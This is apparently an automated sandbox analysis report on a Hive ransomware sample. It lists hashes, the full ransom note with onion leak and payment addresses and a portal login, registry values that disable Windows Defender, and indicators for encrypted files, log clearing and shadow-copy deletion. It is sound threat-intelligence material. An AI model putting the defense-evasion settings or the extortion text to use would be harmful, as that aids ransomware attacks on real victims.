hive | 25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5

Analysis

max time kernel
134s
max time network
35s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
05-03-2023 12:47

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General

Target

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
Size

884KB
MD5

da13022097518d123a91a3958be326da
SHA1

24a71ab462594d5a159bbf176588af951aba1381
SHA256

25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5
SHA512

a82aa97a92cd21ee2d4b556448fd3293396eb7c01d3626ebdb6c3816277783578686830c430014b6b2fc3280bc1301df27da079937f88834c2d35641eb5fc26f
SSDEEP

12288:Sw41dVZvThPCsM18GLHe7wlDdkPAQEtxr0fflvRmhEBWtdUJiAUtP/T/kAfMvgVt:dod1HDmlDdkZ4YXPpaTTXMw

Score

10^/10

hive evasion ransomware spyware stealer trojan upx

Malware Config

Extracted

Path

C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\EGdu_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data or to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: jxkdVr8zZs5J Password: GHTM6Qgqyhqs4nMH53ZD To get access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not shutdown or reboot your computers, unmount external storages. - Do not try to decrypt data using third party software. It may cause irreversible damage. - Do not fool yourself. Encryption has perfect secrecy and it's impossible to decrypt without knowing the key. - Do not modify, rename or delete *.key.uj1ps files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to authorities. The negotiation process will be terminated immediately and the key will be erased. - Do not reject to purchase. Your sensitive data will be publicly disclosed.

URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
evasion

Impair Defenses
T1562

Command-Line Interface
T1059

Processes:

MpCmdRun.exe

pid process

1784 MpCmdRun.exe
Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive

pid	process
1784	MpCmdRun.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" reg.exe
Clears Windows event logs 1 TTPs 3 IoCs
evasion ransomware

Indicator Removal on Host
T1070

Processes:

wevtutil.exewevtutil.exewevtutil.exe

pid process

548 wevtutil.exe
864 wevtutil.exe
1576 wevtutil.exe
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe

pid	process
548	wevtutil.exe
864	wevtutil.exe
1576	wevtutil.exe

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\StartComplete.raw => C:\Users\Admin\Pictures\StartComplete.raw.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPjDokmU1PDOGQEcU7yb4VNG.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Users\Admin\Pictures\StartComplete.raw.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPjDokmU1PDOGQEcU7yb4VNG.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File renamed	C:\Users\Admin\Pictures\ExitResolve.crw => C:\Users\Admin\Pictures\ExitResolve.crw.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPhMpj0WZDzgXqWs8M7kfpop.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Users\Admin\Pictures\ExitResolve.crw.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPhMpj0WZDzgXqWs8M7kfpop.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File renamed	C:\Users\Admin\Pictures\GrantRead.png => C:\Users\Admin\Pictures\GrantRead.png.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPi6w3f2rTxCaEoZwRgIaVkt.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Users\Admin\Pictures\GrantRead.png.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPi6w3f2rTxCaEoZwRgIaVkt.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File renamed	C:\Users\Admin\Pictures\AddUnpublish.png => C:\Users\Admin\Pictures\AddUnpublish.png.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPidWQL9FzO_Rd_sRh4KXw0c.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Users\Admin\Pictures\AddUnpublish.png.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPidWQL9FzO_Rd_sRh4KXw0c.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

UPX packed file 15 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/1988-54-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-55-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-56-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-57-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-59-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-60-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-61-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-69-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-737-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-2520-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-3280-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-4851-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-5717-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-7029-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx
behavioral1/memory/1988-7727-0x00000000000C0000-0x00000000003D2000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

Processes:

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\CalendarToolIconImages.jpg.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPgezTa36xFWOPbgXkp2qzBg.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_win7.css.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPjlzM17saNxDb7XChj2Qmpd.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Aqtau.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPj9qGoZh09zefOoXWwTF3YS.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Makassar.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPgKXUbdzyRhK_Ka0rUvUSIn.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPhjGYnF13nxed2HBZGRsvRA.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\Ole DB\de-DE\sqloledb.rll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107288.WMF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPivjgI-Kr5LLyuET3DCq-46.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Journal\de-DE\JNTFiltr.dll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0106146.WMF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPjY1W3XsitJArESw5bsgjhJ.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02269_.WMF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPiNE3B0mC82MWfiMweFZnZ4.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL107.XML.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPhmoX5h8eRJH4Pvz--C5s0s.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Media Player\fr-FR\wmpnssci.dll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE02120_.WMF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPg4ThqDa0prKD2ZpSC_P5kY.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\rtf_decreaseindent.gif.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPi6Lxh2F40BAaAxUkDZggwN.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Cambridge_Bay.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPhqHWAj1ng4WxgOD0lLrPVm.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01253_.GIF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPilxY3My8zaRWjw07P3jOUI.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\en-US\js\settings.js	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerEvaluators.exsd.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPgmAqcbbUgLRpPmmBUFMS5Y.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\images\Gadget_Star_Empty.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02413_.WMF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPiSS2I7GJcOUf9ekMngEiUj.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21434_.GIF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPg2DIapmMmNHBB-Iuisx00I.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\OriginMergeLetter.Dotx.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPhDHzF0-lVBUsMJlnpe_Tte.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ca.txt.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPjbToyHELY_XdgISJaU7EEl.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPgmPgufN6H4SQJxo-GCrit8.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0216600.WMF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPigEWzNwsxcCTXILU7N48xT.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN048.XML.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPjntaTnY_CaQitiJUq5SQB6.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\LINEACT.POC.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPjIDdCWeENvEe2a9NzL2Zdx.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\TitleButtonIcon.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_mac.css.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPi0KF95SsBoA2IKyL2_ZRIF.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-oql_zh_CN.jar.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPgNBQnZQrS9fSbz7EMMG5Qr.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01297_.GIF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPhjWGbg-M9wdveueU9aqeFW.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\images\blank.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Checkers\ja-JP\chkrzm.exe.mui.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPjR2tcl_-ojR_gsFF8zn_gB.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00174_.WMF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPh-v1_nAYgRdmDuKCNymxcZ.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR30F.GIF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPhCratcqMbhL-qqUa6U5oQG.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Common Files\System\Ole DB\ja-JP\oledb32r.dll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\msadc\fr-FR\msadcor.dll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AN00015_.WMF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPiq_cNbu_x5CUCaGSuSaqMR.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0239079.WMF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPgjNWeztPxCOsWoE0Ny-uo4.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\en-US\js\highDpiImageSwap.js	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Christmas.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPh0kEW-j5WbUmN0HlyDu9J2.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\ja-JP\js\calendar.js	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\QuizShow.potx.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPg_kQFz-8VVUv00H0bz94x4.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\Stationery\Hand Prints.htm	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\hwrlatinlm.dat	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macTSFrame.png.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPiHoSQhtnHDZ6R7EsK2E3Mo.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Indiana\Vincennes.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPjveM-OzJ8pWe2uaw-TcgIx.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\CNFRES.CFG.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPixKRm2BsXyVWbvfG14wZMb.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN108.XML.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPhIzAuh717tIUs_AUpUEbMw.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Perf_Scenes_Mask1.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-uihandler.xml.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPgXFCXzFWmHZrFPhDYDBGgn.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\net.properties.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPhmpIMI6nnAUKZGa_147LMz.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\PST8.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPjshtYBfN4mKSspDKpr9Gt_.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\CPU.Gadget\images\back.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\Filters.xml	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\MCIMPP.mpp.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPiNNJfrcwiAYWAkjzdrQcI2.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\INDUST\INDUST.ELM.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPjGIdnHfmI2USks6V8eXiVt.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR25F.GIF.njPYT3gLavWf_ZmxC5QmUrqdusDZG4bjD1xjyx5xzPgK9zj9jjQ3UZjsqxh-rzo3.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\35.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\ipssrb.xml	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_SelectionSubpicture.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

436 sc.exe
1504 sc.exe
1324 sc.exe
1856 sc.exe
288 sc.exe
1376 sc.exe
1788 sc.exe
1944 sc.exe
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

1028 vssadmin.exe
Runs net.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exewindows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

pid process

1820 powershell.exe
1972 powershell.exe
1988 windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

pid	process
436	sc.exe
1504	sc.exe
